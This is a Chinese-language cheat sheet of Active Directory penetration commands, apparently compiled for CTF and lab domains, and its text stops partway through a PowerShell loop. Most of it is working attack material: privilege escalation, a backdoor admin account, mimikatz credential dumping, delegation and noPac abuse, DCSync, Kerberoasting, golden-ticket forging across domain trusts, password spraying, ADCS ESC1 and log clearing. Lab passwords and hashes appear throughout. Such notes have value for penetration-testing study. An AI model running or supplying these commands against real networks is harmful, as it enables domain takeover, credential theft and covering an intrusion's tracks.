文章

域渗透笔记

域渗透笔记

域渗透专题

信息收集

WinPEAS

1
2
3
winPEASx64.exe > result.txt
#得到的结果要用type读取
type result.txt

在 CTF / 内网渗透中的典型场景

1
2
3
4
5
WinPEAS 输出片段:
  [+] Looking for AutoLogon credentials
    DefaultDomainName: CORP
    DefaultUserName  : Administrator  
    DefaultPassword  : P@ssw0rd123   ← 直接拿到明文密码

Adinfo

查询约束性委派之类的可以尝试使用一下,比较清晰

1
2
#支持明文和哈希
./Adinfo -d redteam.lab --dc 192.168.131.130 -u username -H 5e95607216d9a4b7654d831beb9ee95c

陌生机器敏感信息收集

1
find / -regex ".*\.properties\|.*\.conf\|.*\.config\|.*\.sh|.*\.jsp|.*\.log|.*\.txt|.*\.xml" | xargs grep -E "=jdbc:|pass=|passwd=|aliyun|password"

工作组渗透

1
2
3
net user                     #查看当前机器用户
quser || qwinst    #查看在线用户
net use                       #查看正在运行的服务

RDP相关

添加成员rdp

1
2
3
4
5
net user hunsil Abc123456 /add

net localgroup administrators hunsil /add

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

第三条核心作用是:通过修改注册表来开启远程桌面(RDP)服务。

登录方式(Linux)

1
2
3
4
5
6
7
#linux xfreerdp
proxychains4 xfreerdp /u:域名\用户名 /p:whoami@666 /v:192.168.3.131

proxychains4 xfreerdp /u:wanggang /d:epower.com(域名) /pth:0385cd1b77ac41a9e8e1e3b1dd0defd6 /v:172.28.20.1

#linux rdesktop
proxychains4 rdesktop 172.22.8.31 -u Aldrich -d xiaorang.lab -p 'Ald@rLMWuy7Z!#'

在实际使用 xfreerdp 时,为了更好的体验或绕过某些限制,通常还会加上以下参数:

参数作用
/cert-ignore忽略证书验证(连接自签名证书的服务器时必带,否则会连接失败)。
/f全屏模式。
/w:1280 /h:720设置窗口的分辨率(宽和高)。
+clipboard允许本地与远程桌面之间共享剪贴板。
/drive:share,/tmp将本地的 /tmp 目录挂载到远程机器上,方便传输文件。

爆破登录或者密码(crackmapexec)

1
2
#拿到账号密码爆破可登录主机
proxychains4 -q crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#'

旨在验证账号 Aldrich 是否拥有该网段内其他主机的访问权限。

修改密码

1
2
3
4
5
6
#利用上面的rdp工具上去修改

#smbpasswd
proxychains4 python3 smbpasswd.py xiaorang.lab/Aldrich:'Ald@rLMWuy7Z!#'@172.22.8.15 -newpass 'Whoami@666'

proxychains4 impacket-smbpasswd xiaorang.lab/Aldrich:'Ald@rLMWuy7Z!#'@172.22.8.15 -newpass 'Whoami@666'

linux提权

suid提权

1
2
3
find / -perm -u=s -type f 2>/dev/null
find /bin -perm -u=s -type f 2>/dev/null
find /usr/bin -perm -u=s -type f 2>/dev/null

sudo提权

1
sudo -l

base64

1
base64 '/flag' | base64 --decode

diff

1
diff --line-format=%L /dev/null /home/flag/flag01.txt

mysql

1
sudo mysql -e '\! whoami'

grc

1
sudo grc --pty /bin/sh

1778401724406

windows提权

映像劫持

注册表路径:

1
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<目标程序.exe>

查看注册表权限

1
Get-ACL -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl

1778129718223

发现所有正常登录的用户都可以修改注册表,利用这个性质,修改注册表映像劫持,使用放大镜进行提权

magnify.exe替换成C:\windows\system32\cmd.exe

这样就直接提权成system了

覆盖放大镜:

1
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

sweetpotato

可以和mssql配合使用,用MDUT连接,使用sweetpotato获取system权限

1
sweetpotato.exe -a "whoami"

PrintSpoofer64

运行 whoami /priv,查看是否包含 SeImpersonatePrivilege权限(身份验证后模拟客户端)

1
PrintSpoofer64.exe -i -c cmd

1778130230396

nopac

第一种,MAQ不为0的情况,脚本直接梭

1
python noPac.py xiaorang.lab/zhanghui -hashes :1232126b24cdf8c9bd2f788a9d7c7ed1 -dc-ip 172.22.11.6 --impersonate Administrator -create-child -use-ldap -shell

MAQ为0

1
2
3
4
5
查询被域用户创建的机器账户列表:
AdFind.exe -b "DC=xiaorang,DC=lab" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID

根据查询出来的sid找出对应的用户名:
AdFind.exe -b "DC=vertexsoft,DC=local" -f "(&(objectsid=S-1-5-21-1695257952-3088263962-2055235443-1104))" objectclass cn dn

确定用户之后获取其权限再打nopac

横向

AllowedToDelegate

约束性委派

做法一

img

说明MSSQLSERVER这个机器可以向DC申请票据

AdFind.exe -b "DC=xiaorang,DC=lab" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

ADfind结果如下

>msDS-AllowedToDelegateTo: ldap/DC.xiaorang.lab/xiaorang.lab
>msDS-AllowedToDelegateTo: ldap/DC.xiaorang.lab
>msDS-AllowedToDelegateTo: ldap/DC
>msDS-AllowedToDelegateTo: ldap/DC.xiaorang.lab/XIAORANG
>msDS-AllowedToDelegateTo: ldap/DC/XIAORANG
>msDS-AllowedToDelegateTo: ldap/DC.xiaorang.lab/DomainDnsZones.xiaorang.lab
>msDS-AllowedToDelegateTo: ldap/DC.xiaorang.lab/ForestDnsZones.xiaorang.lab
>msDS-AllowedToDelegateTo: cifs/DC.xiaorang.lab/xiaorang.lab
>msDS-AllowedToDelegateTo: cifs/DC.xiaorang.lab
>msDS-AllowedToDelegateTo: cifs/DC
>msDS-AllowedToDelegateTo: cifs/DC.xiaorang.lab/XIAORANG
>msDS-AllowedToDelegateTo: cifs/DC/XIAORANG

1.抓取机器用户哈希

简单来说,就是那个带$的用户

mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit

2.申请票据

Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:72851846a4ccfd849282b37d7435e0ff /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap

得到一串b64

3.导入票据

Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:b64的票据

4.通讯目标机器

dir \\DC.xiaorang.lab\c$\users\administrator\flag

做法二

1.抓取机器用户哈希

mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit

2.申请票据

proxychains4 impacket-getST -dc-ip 172.22.2.3 -spn CIFS/DC.xiaorang.lab -impersonate administrator xiaorang.lab/MSSQLSERVER$ -hashes :72851846a4ccfd849282b37d7435e0ff

3.导入票据

export KRB5CCNAME=administrator@CIFS_DC.xiaorang.lab@XIAORANG.LAB.ccache

4.通讯目标机器

proxychains4 impacket-smbexec -k xiaorang.lab/administrator@DC.xiaorang.lab -no-pass -dc-ip 172.22.2.3 -codec gbk

做法三

1.导出票据

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
或
kekeo.exe "tgt::ask /user:MSSQLSERVER$ /domain:xiaorang.lab /NTLM:72851846a4ccfd849282b37d7435e0ff" "exit"

img

2.申请administrator权限的票据

kekeo.exe "tgs::s4u /tgt:[0;3e4]-2-1-40e10000-MSSQLSERVER$@krbtgt-XIAORANG.LAB.kirbi /user:Administrator@xiaorang.lab /service:cifs/DC.xiaorang.lab" "exit"
或者
kekeo.exe "tgs::s4u /tgt:TGT_MSSQLSERVER$@XIAORANG.LAB_krbtgt~xiaorang.lab@XIAORANG.LAB.kirbi /user:Administrator@xiaorang.lab /service:cifs/DC.xiaorang.lab" "exit"

3.导入票据

mimikatz.exe "kerberos::ptt TGS_Administrator@xiaorang.lab@XIAORANG.LAB_cifs~DC.xiaorang.lab@XIAORANG.LAB.kirbi" "exit"

4.通讯目标机器

dir \\DC.xiaorang.lab\c$\users\administrator\flag

Exchange 漏洞

Exchange Server 2016

1
proxychains python2 proxylogon.py 172.22.3.9 administrator@xiaorang.lab

WriteDACL

在域环境中,如果安装Exchange后,系统会添加一个名为Microsoft Exchange Security Groups、Exchange Trusted Subsystem和Exchange Windows Permission三个组。如果获得了这三个组内任意用户的控制权限,就能够继承用户组的WriteDACL权限,WriteDACL权限可以修改域对象的ACL,最终实现利用DCSync导出域内所有用户hash。

1778136303917

XIAORANG-EXC01对于域内用户有WriteDACL权限

1.获取域内带$用户哈希

mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit

2.赋予当前机器某域内用户dcsync权限

1
2
3
proxychains4 python3 dacledit.py xiaorang.lab/XIAORANG-EXC01\$ -hashes :e392d48f3a4619483618cafef2e00fcb -action write -rights DCSync -principal Zhangtong -target-dn "DC=xiaorang,DC=lab" -dc-ip 172.22.3.2

python dacledit.py xiaorang.lab/XIAORANG-EXC01$ -hashes :b898bfd97adaeac3165e21cc0c83e018 -action write -rights DCSync -principal XIAORANG-EXC01$ -target-dn "DC=xiaorang,DC=lab" -dc-ip 172.22.3.2

3.利用赋予的权限的用户去dump域内哈希

1
2
3
proxychains4 python3 secretsdump.py xiaorang.lab/Zhangtong@172.22.3.2 -hashes :22c7f81993e96ac83ac2f3f1903de8b4 -just-dc-ntlm

proxychains4 impacket-secretsdump xiaorang.lab/Zhangtong@172.22.3.2 -hashes :22c7f81993e96ac83ac2f3f1903de8b4 -just-dc-ntlm

4.利用域管哈希横向…….

HasSIDHistory

1778142876920

yuxuan 用户配置了指向 Administrator@xiaorang.lab 的 SID History, 因此 yuxuan 用户拥有域管理员的权限

如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。

1.直接dump域内哈希

1
mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit

2.横向其他机器

SMB匿名登录

SMB(Server Message Block)是一种局域网文件和打印机共享通信协议,可为不同计算机提供文件资源共享服务。

扫描到smb服务后可以尝试smb匿名登录

1
2
#验证是否存在
proxychains4 smbclient -L 172.22.9.47

1778143220428

1
2
3
4
#连接smb文件共享服务
proxychains4 smbclient  \\\\172.22.9.47\\fileshare

proxychains python3 smbclient.py 172.22.9.47

支持命令

1
2
3
4
5
6
cd
ls
get   #类似于下载文件,会下载到连接服务的当前目录
#使用python脚本进行连接的时候需要执行下面命令
shares   #列出可选择的共享服务
use 共享服务名   #选择共享服务,剩下的和上面一样

Kerberoasting

黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。DC在活动目录中查找SPN,并用与SPN关联的服务帐户加密票证,以便服务能验证用户是否可以访问。请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证

无任何思路的攻击条件:

一对正确的域内账号密码即可

1.得到一对正确的账号密码

可以通过信息收集或域内爆破手段获得

zhangjian/i9XDE02pLVf

2.向DC查找下域用户下的spn

proxychains4 impacket-GetUserSPNs -request -dc-ip 192.168.0.17 chu0.time/houxuan:'lanlan123.'
#或者
proxychains4 impacket-GetUserSPNs -hashes :xxx -dc-ip 172.24.7.3 pentest.me/usera -request

结果如下

$krb5tgs$23$*zhangxia$XIAORANG.LAB$xiaorang.lab/zhangxia*$7eb07d402d8222d949a7bb9de786157a$171e2460ef470bef5bd40de19882d7171d5779bfc237de7fe23f98834f95beabb3b6fbc5dc2feb1edcac07c4d5f6733e150c4b41380b6f075df52f9e9d2908358af93485a62b1b18214dff5fcbc43aa90cb455cc81f1accf61646dab850bb9709cd4f7f3f21c5aaa573aeaf9d2d8c5a823817472b9f5a7b42478ed9fd5469746ec0cd9a264850ab322c654f61cd05292c135f0d0502c3108c141979fc130638cf265fecb1de23ee0ba482069fde7bbfd61718a207613fea17e5567d79ebac7885dc5d106236892adeb90aef31ba026e1133ab34b0fa3333664c1455bf25bc4e568ef0c6ded1f374df8ed0dcb21cf30c0366b000c3405ba3addfea00a34b4e9c3e795c5e01a3412b46c29b3c89b44c8a8feb2f32b47825fa799a6f5855b069e99a115152edc66b79def4211571dca3002c3545cf8884afa32352e26ebfcf44f77821ec61bb8cb7fcfd5bd0293c293b5f7bd9b5f2a497d802eb8f88af986eba6584bbaae2eebf2360b8cb140743fab763b63887371a7e6ecab880882cdbdddde058a6a812073008e6cfd21146f9efe4d930997b53c6385d0c4041b18bb5b4eb3b331625c6e9891ad5acff9c0709b466278e8ac905f0aecc46d5cd50e53968a3023dfdd459be343a8bf4fdf26f09441e7f28a5db92e25684c158ef84d5c5a264c448e0b21930a68bd05ee38fda2dcb0b08cc5b2ff7eaa38944d786b54641a6ddac6bdbbac4ecf78f5ae0295442640a94b6e82fc52c7ad654a611861796506411e239b2d0d53e8aa4e4154ea875a59b0d3f721a9e8a0f5d23d73c7a79e592a96a88be086d71c07dd974b07905e9f7bdf9190ff587b8c8c86febcd728e8582841bcc93666f6c6ff3d2e50f363cec375fd934f2fec61989861748244e41ce41bdd13db64e7dd1abe40bb2fe1389f31bd08a39b073fde26ab0276572e2f5433e1f63fb4f9bb01c386c01a12475455afeeb3e0cfa44f0432a0af1064aa9ef47931cb7a78a44e9667bf6790769a6fc69ce31ee65b13ad9ab204d117999e1b0fac424a64010d35d60d3a207c1fe933c42f4fd5a0070418dc5d251d8d0d5cd39e7197f930dedc49f2e387574352f10f75f86d330ed6d9ac4a9e24393776a07a4b75863b54dd9bb34243270fe0580b6b1d14ed9b99db9ce8857143eec2497fb6fe6381dcb09598aff7f44dfec78680d39303978221f708c31e5b68966933680a64d798c6c5d066620d5ed40133e72541ec36b7dee4fda62c5b5efef7a290d7f2ca7c9f7e82386e6c73ed19b86028bfbdc14dcf7c76182f6fb4ebd5866d6e917b0e6d97f2f3b2b63001221584d7ee4e76234053fe34335fef4c341787f4270a9ebe8aa9570f1a06e4aa9114991317aa5176fdb6fe7e03f3a450e1035b074f3d6ca2f9fbfc857ec310c70db381435b39a964f0b70747216954f091b44495c345c139d650a7a690d3775f083bfc0666bab47abe17399a318ac7a34c938b6a637433da3409aaf5d805121b8f5a7a3c6d8c87d379a53a

3.爆破获取密码明文

hashcat -a 0 -m 13100 hash.txt ./rockyou.txt

4.利用得到的明文进行rdp等操作

非约束性委派

在约束委派攻击的周报上

父子域攻击

SID History 子域攻击

利用条件判断(三个维度)

条件你的环境说明
EA组是否存在✅ 存在net localgroup Administrators 显示 Enterprise Admins
域信任是否存在✅ 存在nltest 显示双向信任 idssctf.sec ↔ net.idssctf.sec
信任关系类型✅ 父子域(Forest Tree Root + Primary Domain)子域 net.idssctf.sec → 父域 idssctf.sec,双向信任

结论:满足所有利用条件,可以通过 SID History 注入 + 黄金票据伪造跨域到父域。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
C:\Users\Chu0\Desktop>net localgroup "Administrators"
别名     Administrators
注释     管理员对计算机/域有不受限制的完全访问权

成员

-------------------------------------------------------------------------------
Administrator
Chu0
Domain Admins
Enterprise Admins
命令成功完成。

C:\Users\Public>nltest /domain_trusts /all_trusts /v
域信任的列表:
    0: IDSSCTF idssctf.sec (NT 5) (Forest Tree Root) (Direct Outbound) (Direct Inbound) ( Attr: 0x20 )
    1: NET net.idssctf.sec (NT 5) (Forest: 0) (Primary Domain) (Native)
此命令成功完成

C:\Users\Public>netdom query trust
定向受信\信任域                                                 信任类型
========= =======================                         ==========

<->       idssctf.sec
直接
 未找到

命令成功完成。

路径 A:利用 krbtgt Hash(黄金票据):

需要当前子域的 krbtgt hash

1
2
3
4
子域 krbtgt hash
    ↓ 伪造包含父域 Enterprise Admins SID 的 TGT
    ↓ /sids:父域SID-519 注入 SID History
    → 访问父域DC,DCSync 拿到父域所有 hash

核心原理:Kerberos PAC 中的 ExtraSIDs 字段在跨域时不会被过滤(默认),父域 KDC 接受子域 TGT 时会信任其中的 SID History,从而赋予 EA 权限。

抓取信息:

1
2
3
C:\Users\Chu0\Desktop\mimikatz.exe privilege::debug "lsadump::lsa /patch /user:krbtgt" "lsadump::trust /patch" exit

C:\Users\Chu0\Desktop\mimikatz.exe log privilege::debug "lsadump::trust /patch" exit

1778348227450

制作黄金票据

1
2
3
4
5
6
7
mimikatz.exe
kerberos::golden /domain:当前域 /sid:当前SID /sids:目标SID-519 /krbtgt:krbtgt的hash /user:admin1 /ptt

kerberos::golden /domain:pentest.me /sid:S-1-5-21-3745972894-1678056601-2622918667 /sids:S-1-5-21-708081054-195637743-2881014444-519 /krbtgt:08b1732d06c09e84119486cbb94a5569 /ptt


mimikatz.exe "kerberos::golden /domain:pentest.me /sid:S-1-5-21-3745972894-1678056601-2622918667 /sids:S-1-5-21-708081054-195637743-2881014444-519 /krbtgt:08b1732d06c09e84119486cbb94a5569 /user:administrator /ptt" exit

dcsync获取父域哈希

1
mimikatz.exe log "lsadump::dcsync /domain:PEN.ME /all /csv" exit

PTH即可,或者使用

#获取另一域控名
net time /domain:pen.me

#DC

横向

PsExec64.exe /accepteula \\DC.pen.me -s cmd

路径 B:利用域信任密钥(Trust Key)

不需要 krbtgt,使用域间信任账户的 hash

1
2
3
4
信任密钥(pen.me$ 账户 RC4)
    ↓ 伪造跨域引用票据(inter-realm TGT)
    ↓ 请求目标域 cifs/krbtgt 服务票据
    → psexec/wmiexec 直接进父域DC

核心原理:域信任通过一个特殊账户(目标域名$)的共享密钥加密跨域票据,拿到这个 key 就能伪造跨域引用,效果等同于在目标域中有 EA 权限。

目标:pentest.me -> pen.me

和上面基本一样,就是在构建黄金票据的时候,krbtgt的hash换成域信任用户的hash即可

mimikatz.exe log "lsadump::dcsync /domain:PENTEST.ME /all /csv" exit

#利用命令获取信任密钥
C:\Users\Chu0\Desktop\mimikatz.exe log privilege::debug "lsadump::trust /patch" exit

我们需要的是In的从pentest.me -> pen.me的rc4密钥

1778349912814

或者是secretsdump获取的 新的域名$ 这个用户的哈希,也就是我们所需要的信任密钥

制作黄金票据 By ticketer

1
2
3
4
5
6
7
8
python3 ticketer.py -domain 当前域名 -domain-sid 当前域sid -nthash 域信任哈希 -extra-sid 目标域sid-519 -spn krbtgt/目标域名 要伪造的用户名
python3 ticketer.py -domain 当前域名 -domain-sid 当前域sid -nthash 域信任哈希 -extra-sid 目标域sid-519 -spn cifs/目标域名 administrator


python3 ticketer.py -domain marks.com -domain-sid S-1-5-21-2978104254-890095194-717427657 -nthash c2e2c619b858acd8d1af19af304e8226 -extra-sid S-1-5-21-2604987987-3353953405-2351486685-519 -spn krbtgt/zpchcbd.com administrator

set KRB5CCNAME=administrator.ccache
python3 psexec.py -k -no-pass administrator@WIN-MG4C5QO445H.zpchcbd.com -codec gbk

制作黄金票据 By mimikatz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#步骤1

mimikatz.exe "kerberos::golden /domain:当前域名 /sid:当前域sid /sids:目标域sid-519 /rc4:域信任哈希 /user:要伪造的用户 /service:krbtgt  /target:目标域名 /ticket:xx.kiribi" exit

mimikatz.exe "kerberos::golden /domain:chu0.time /sid:S-1-5-21-2978104254-890095194-717427657 /sids:S-1-5-21-2604987987-3353953405-2351486685-519 /rc4:c2e2c619b858acd8d1af19af304e8226 /user:administrator /service:krbtgt  /target:zpchcbd.com /ticket:xx.kiribi" exit

#步骤2
获取域控名字
net time /domain:pen.me

asktgs xx.kiribi cifs/目标域控名.目标域名
#可以得到一长串的.kiribi

#步骤3
然后导入票据到内存

kirbikator.exe lsa 可以得到一长串的.kiribi
dir \\目标域控名.目标域名\c$

域林间横向

方法一:mimikatz 三步走(纯 Windows)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Step 1: 制作跨域引用票据(inter-realm ticket),保存到文件
mimikatz.exe "kerberos::golden \
  /domain:当前域 \
  /sid:当前域SID \
  /sids:目标域SID-519 \       ← 注入 EA SID
  /rc4:信任密钥hash \         ← 用 trust key 而非 krbtgt
  /user:administrator \
  /service:krbtgt \           ← 服务设为 krbtgt 表示这是 TGT
  /target:目标域名 \          ← 告诉 Kerberos 这张票用于哪个域
  /ticket:xx.kiribi" exit     ← 保存到文件,不直接注入内存

# Step 2: 用 asktgs 把 inter-realm TGT 换成目标域的服务票据
asktgs xx.kiribi cifs/目标DC.目标域名
# 输出:administrator@目标域名.kiribi(真正可用的 ST)

# Step 3: 导入服务票据到内存,直接访问
kirbikator.exe lsa administrator@目标域名.kiribi
dir \\目标DC.目标域名\c$

票据流转

1
2
3
4
5
xx.kiribi (inter-realm TGT)
    → asktgs 向目标域 KDC 兑换
    → 得到 cifs ST
    → kirbikator 注入内存
    → 访问目标DC文件系统

方法二:impacket ticketer(Linux/跨平台)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 一步生成 + 直接可用的 ccache 票据
python3 ticketer.py \
  -domain 当前域名 \
  -domain-sid 当前域SID \
  -nthash 信任密钥hash \
  -extra-sid 目标域SID-519 \
  -spn krbtgt/目标域名 \    ← 或 cifs/目标域名
  administrator

# 导入环境变量
export KRB5CCNAME=administrator.ccache

# 直接 psexec
python3 psexec.py -k -no-pass administrator@目标DC.目标域名 -codec gbk

与 mimikatz 方案的区别

对比项mimikatz 三步走impacket ticketer
平台WindowsLinux/Kali
步骤需要手动 asktgs 换票一步完成或自动换票
票据格式.kiribi(Windows).ccache(Linux)
适用场景已在 Windows 目标机上从 Kali 攻击机远程打

域内爆破

kerbrute爆破

爆破哪些用户是域内的

1
kerbrute_windows_amd64.exe userenum --dc 172.22.6.12 -d xiaorang.lab username.txt -t 10

–dc 172.22.6.12指定域控制器(DC)的 IP 地址。Kerbrute 将向此服务器发送 Kerberos 请求。

kerbrute 利用了 Kerberos 的 AS-REQ 请求:

  • 如果用户存在,KDC(域控制器)会返回特定的响应(如需要预认证)。
  • 如果用户不存在,KDC 会返回错误(ERR_C_PRINCIPAL_UNKNOWN)。

AS-REPRoasting

在Kerberos 攻击周报上

Kerberoasting

在Kerberos 攻击周报上

crackmapexec

爆破rdp:

1
proxychains4 crackmapexec rdp 172.22.6.0/24 -u wenshao -p hellokitty -d xiaorang.lab

验证这个名为 wenshao 的账户在 6.0 网段中,哪些机器可以通过 RDP 成功登录。

爆破smb:

1
2
3
4
5
6
#利用字典爆破
proxychains4 crackmapexec smb 172.22.9.26 -u user.txt -p pass.txt --continue-on-success 2>/dev/null
#指定域或者计算机名
proxychains4 crackmapexec smb 172.22.4.45 -u Adrian -p rockyou.txt -d WIN19 2>/dev/null
#拿到账号密码爆破可登录主机
proxychains4 -q crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#'

字典爆破(1):

使用用户名列表 (user.txt) 和密码列表 (pass.txt) 对单台主机 172.22.9.26 进行批量尝试。

–continue-on-success: 这是一个重要参数。即便尝试成功了一组凭据,工具也会继续运行,直到字典跑完,以获取所有可能的有效账号。

密码喷洒(2,3) :

针对特定用户 Adrian,使用经典的 rockyou.txt 字典进行密码尝试。

检查用户 Adrian 是否使用了常见的弱口令。

kerberos喷洒用户

在kali py2运行,域控需要开启88端口

ADPwdSpray.py <域控IP> <域名> <用户名字典> <认证方式> <凭据值> <传输协议>

1
2
ADPwdSpray.py 192.168.1.1 test.com user.txt clearpassword DomainUser123! tcp
ADPwdSpray.py 192.168.1.1 test.com user.txt ntlmhash e00045bd566a1b74386f5c1e3612921b udp

CA漏洞

主要有ESC1和ESC8,域内得有一个CA服务器

1.列出某用户所有证书

这里的重点是,必须要在干他之前rdp一下

proxychains4 certipy find -u 'zhangxia@xiaorang.lab' -p 'MyPass2@@6' -dc-ip 192.168.142.20 -debug -scheme ldap -stdout -vulnerable //ldaps 没开的话
proxychains4 certipy find -u 'zhangxia@xiaorang.lab' -p 'MyPass2@@6' -dc-ip 192.168.142.20 -stdout -vulnerable //默认ldaps

proxychains4 certipy find -u 'catest@chu0.time' -p 'whoami@666' -dc-ip 192.168.139.160 -vulnerable -stdout

Certify.exe find /vulnerable

结果如下

Certificate Authorities
  0
    CA Name                             : xiaorang-XIAORANG-DC-CA
    DNS Name                            : XIAORANG-DC.xiaorang.lab
    Certificate Subject                 : CN=xiaorang-XIAORANG-DC-CA, DC=xiaorang, DC=lab
    Certificate Serial Number           : 43A73F4A37050EAA4E29C0D95BC84BB5
    Certificate Validity Start          : 2023-07-14 04:33:21+00:00
    Certificate Validity End            : 2028-07-14 04:43:21+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Unknown
    Request Disposition                 : Unknown
    Enforce Encryption for Requests     : Unknown
Certificate Templates
  0
    Template Name                       : XR Manager
    Display Name                        : XR Manager
    Certificate Authorities             : xiaorang-XIAORANG-DC-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : PublishToDs
                                          IncludeSymmetricAlgorithms
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Encrypting File System
                                          Secure Email
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : XIAORANG.LAB\Domain Admins
                                          XIAORANG.LAB\Domain Users
                                          XIAORANG.LAB\Enterprise Admins
                                          XIAORANG.LAB\Authenticated Users
      Object Control Permissions
        Owner                           : XIAORANG.LAB\Administrator
        Write Owner Principals          : XIAORANG.LAB\Domain Admins
                                          XIAORANG.LAB\Enterprise Admins
                                          XIAORANG.LAB\Administrator
        Write Dacl Principals           : XIAORANG.LAB\Domain Admins
                                          XIAORANG.LAB\Enterprise Admins
                                          XIAORANG.LAB\Administrator
        Write Property Principals       : XIAORANG.LAB\Domain Admins
                                          XIAORANG.LAB\Enterprise Admins
                                          XIAORANG.LAB\Administrator
    [!] Vulnerabilities
      ESC1                              : 'XIAORANG.LAB\\Domain Users' and 'XIAORANG.LAB\\Authenticated Users' can enroll, enrollee supplies subject and template allows client authentication

2.向域控申请证书并伪造管理员

这里注意,在申请之前需要修改host,添加上CA和DC的host

proxychains4 certipy req -u 'zhangxia@xiaorang.lab' -p 'MyPass2@@6' -target 172.22.9.7 -dc-ip 172.22.9.7 -ca 'xiaorang-XIAORANG-DC-CA' -template 'XR Manager' -upn 'administrator@xiaorang.lab'

img

3.利用模板获取域管哈希

proxychains4 certipy auth -pfx administrator.pfx -dc-ip 172.22.9.7

img

4.利用域管哈希横向

常用工具

mimikatz

运行前的准备工作,由于 mimikatz 需要直接操作进程内存(尤其是 lsass.exe),必须以 管理员权限 运行,并开启 Debug 权限

1
2
# 提升至 Debug 权限(必须,否则无法访问系统进程)
privilege::debug

A. 抓取明文密码与哈希 (sekurlsa)

这是最经典用法。它通过读取 lsass.exe 进程,获取已登录用户的凭据。

  • 抓取所有凭据(明文、哈希等): sekurlsa::logonpasswords
  • 只抓取 Kerberos 票据: sekurlsa::tickets

B. 读取本地 SAM 数据库 (lsadump)

用于获取本地离线用户的 NTLM 哈希。

  • 读取 SAM 数据库: lsadump::sam
  • 读取域缓存凭据 (DCC2/MSCACHE): lsadump::cache
  • 在域控上导出所有域用户 Hash(DCSync 攻击): 这不需要登录域控,只需拥有域管权限的账号即可远程执行: lsadump::dcsync /domain:xiaorang.lab /user:administrator

示例:

1
mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit > mimikatz.txt

C. 票据传递攻击 (Pass-the-Ticket)

利用抓取到的 Kerberos 票据进行身份伪造。

  • 注入票据 (.kirbi): kerberos::ptt "C:\test\admin.kirbi"
  • 黄金票据 (Golden Ticket) 伪造: 利用权限维持,伪造一个有效期极长的域管凭证: kerberos::golden /user:admin /domain:xiaorang.lab /sid:S-1-5-21-... /krbtgt:hash值 /ticket:gold.kirbi

D. 密码传递 (Pass-the-Hash)

如果你只有 NTLM Hash 而没有明文密码,可以利用 sekurlsa::pth 直接开启一个拥有目标用户权限的进程。

1
sekurlsa::pth /user:administrator /domain:xiaorang.lab /ntlm:f19... /run:cmd.exe

常见实战命令组合

目标命令组合
一键抓口令privilege::debug, sekurlsa::logonpasswords, exit
导出所有域 Hashlsadump::dcsync /domain:xxx /all /csv
清理痕迹event::clear (清除 Windows 日志,慎用)

BloodHound

1
2
3
Linux:
sudo neo4j start
./BloodHound --no-sandbox --disable-gpu
1
2
3
window:
$env:JAVA_HOME = "C:\Program Files\Java\jdk-21.0.10"
neo4j.bat console

sharphound

sharphound.exe -c all
#指定账号密码
SharpHound.exe -c all --ldapusername houxuan --ldappassword "lanlan123." -d huilan-ad.com --domaincontroller 192.168.0.17

adfind

AdFind.exe -h 192.168.0.17 -u huilan-ad0\houxuan -up "lanlan123." -f "objectcategory=computer" -dn
#不简略
AdFind.exe -h 192.168.0.17 -u huilan-ad0\houxuan -up "lanlan123." -f "objectcategory=computer"

AdFind.exe -h 192.168.139.160  -f "objectcategory=user"

$computers = adfind -b "DC=huilan-ad,DC=com" -u huilan-ad0\houxuan -up "lanlan123." -f "(objectClass=computer)" DNSHostName
# 读取计算机名列表
$computers = Get-Content "123.txt"

# 遍历计算机名并执行 nslookup
foreach ($computer in $computers) {
    # 执行 nslookup 并捕获标准错误和标准输出
    $result = nslookup $computer 192.168.0.17 2>&1
    
